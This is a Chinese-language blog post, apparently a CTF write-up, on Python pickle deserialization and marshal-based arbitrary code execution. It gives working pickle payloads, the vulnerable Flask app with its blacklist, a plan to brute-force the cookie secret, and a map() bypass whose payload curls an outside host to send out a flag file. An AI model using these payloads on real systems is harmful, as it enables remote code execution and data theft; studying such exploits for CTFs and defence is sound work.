python pickle命令執行與marshal 任意代碼執行

1.python pickle反序列化漏洞

自己的理解:

  由於在類的__reduce__方法中提供了我們可以自定義程序如何去解序列化的方法,因此如果應用程序接受了不可信任的序列化的數據,那麼就可能導致安全問題。

import pickle
import os
class gen(object):
    def __reduce__(self):
        s = """dir"""
        return os.system, (s,)        

p = gen()
payload = pickle.dumps(p)
with open('payload.pkl', 'wb') as f:
    f.write(payload)

以上這段代碼中,要調用os模塊的system函數來執行dir命令,其中reduce函數中的返回值中需要定義的有要調用的函數,需要傳給函數的參數(以元組的形式給出);

接着只需要將該對象實例化後再序列化即可

 

import pickle
'''
some code
''' pickle.load(open(
'./payload.pkl'))
'''
some code
'''

假設以上這段代碼是服務器端處理反序列數據的時候的操作,其中沒有將要調用的對象函數進行過濾,而是直接進行解序列化,導致代碼執行 os.system("dir") 。

2.pickle任意代碼執行

import marshal
import base64

def foo():
    pass # Your code here

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

我們只需要在foo函數中寫上需要執行的代碼即可。

code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()

執行以上函數便可以觸發任意代碼執行漏洞

from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string

import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile

SECRET_KEY = 'you will never guess'

if not os.path.exists('.secret'):
    with open(".secret", "w") as f:
        secret = ''.join(random.choice(string.ascii_letters + string.digits)
                         for x in range(4))
        f.write(secret)
with open(".secret", "r") as f:
    cookie_secret = f.read().strip()

app = Flask(__name__)
app.config.from_object(__name__)

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]


@app.before_request
def count():
    session['cnt'] = 0


@app.route('/')
def home():
    remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.'
    new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template('index.html', txt=remembered_str, location=location)


@app.route('/clear')
def clear():
    print("Reminder cleared!")
    response = redirect(url_for('home'))
    response.set_cookie('location', max_age=0)
    return response


@app.route('/reminder', methods=['POST', 'GET'])
def reminder():
    if request.method == 'POST':
        location = request.form["reminder"]
        if location == '':
            print("Message cleared, tell us when you have found more brains.")
        else:
            print("We will remember where you find your brains.")
        location = b64e(pickle.dumps(location))
        cookie = make_cookie(location, cookie_secret)
        response = redirect(url_for('home'))
        response.set_cookie('location', cookie)
        print 'location'
        return response
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template('reminder.html')


class FilterException(Exception):
    def __init__(self, value):
        super(FilterException, self).__init__(
            'The callable object {value} is not allowed'.format(value=str(value)))


class TimesException(Exception):
    def __init__(self):
        super(TimesException, self).__init__(
            'Call func too many times!')


def _hook_call(func):
    def wrapper(*args, **kwargs):
        session['cnt'] += 1
        print session['cnt']
        print args[0].stack
        for i in args[0].stack:
            if i in black_type_list:
                raise FilterException(args[0].stack[-2])
            if session['cnt'] > 4:
                raise TimesException()
        return func(*args, **kwargs)
    return wrapper


def loads(strs):
    reload(pickle)
    files = StringIO(strs)
    unpkler = pickle.Unpickler(files)
    print strs,files,unpkler
    unpkler.dispatch[pickle.REDUCE] = _hook_call(
        unpkler.dispatch[pickle.REDUCE])
    return unpkler.load()


def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    print (digest, location),calc_digest(location, cookie_secret)
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        print("Hey! This is not a valid cookie! Leave me alone.")

        return False
    location = loads(b64d(location))
    return location


def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)


def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()



if __name__ == '__main__':

    app.run(host="0.0.0.0", port=5051)

以上面這道ctf題目爲例子,可以看到當我們訪問reminder頁面時(post方法),首先會獲取http頭部的location屬性,然後經過pickle序列化並進行base64編碼,然後調用make_cookie函數用爲用戶設置cookie值,然後跳轉到home頁面

location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
當我們以get方法訪問remainder頁面時,此時調用getlocation()
def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    print (digest, location),calc_digest(location, cookie_secret)
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        print("Hey! This is not a valid cookie! Leave me alone.")

        return False
    location = loads(b64d(location))
    return location

此時從cookie中獲取location的值,此時會將location的值和密碼再進行計算hash然後和從用戶處獲得的hash值進行比較,如果兩者相同的話則說明身份正確。

由於我們是提前不知道密鑰的值,並且已知密鑰的長度爲4,並且location是可控的,那麼首先將payload通過post方法到remainder頁面以後將會獲得一個location的cookie值,此時包含了經過hash的密鑰和location,又因爲location是我們

已知的,所以可以在本地爆破四位密鑰,因爲我們最終要利用的是loads函數,它要接收的是一個經pickle序列化後的對象,所以我們必須在本地構造好cookie,所以才需要爆破密鑰的值。

因此,構造一個任意的location,就能得到一個hash值,然後經過爆破以後得到密鑰指,然後把payload的base64的值和密鑰值hash以後組成cookie值get到readminer頁面,觸發序列化漏洞。

這裏因爲有黑名單過濾,所以可以使用map函數繞過

class Test(object):
    def __init__(self):
        self.a = 1
        self.b = '2'
        self.c = '3'
    def __reduce__(self):
        return map,(os.system,["curl h7x7ty.ceye.io/`cat /flag_is_here|base64`"])

aa = Test()
payload = b64e(pickle.dumps(aa))
 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章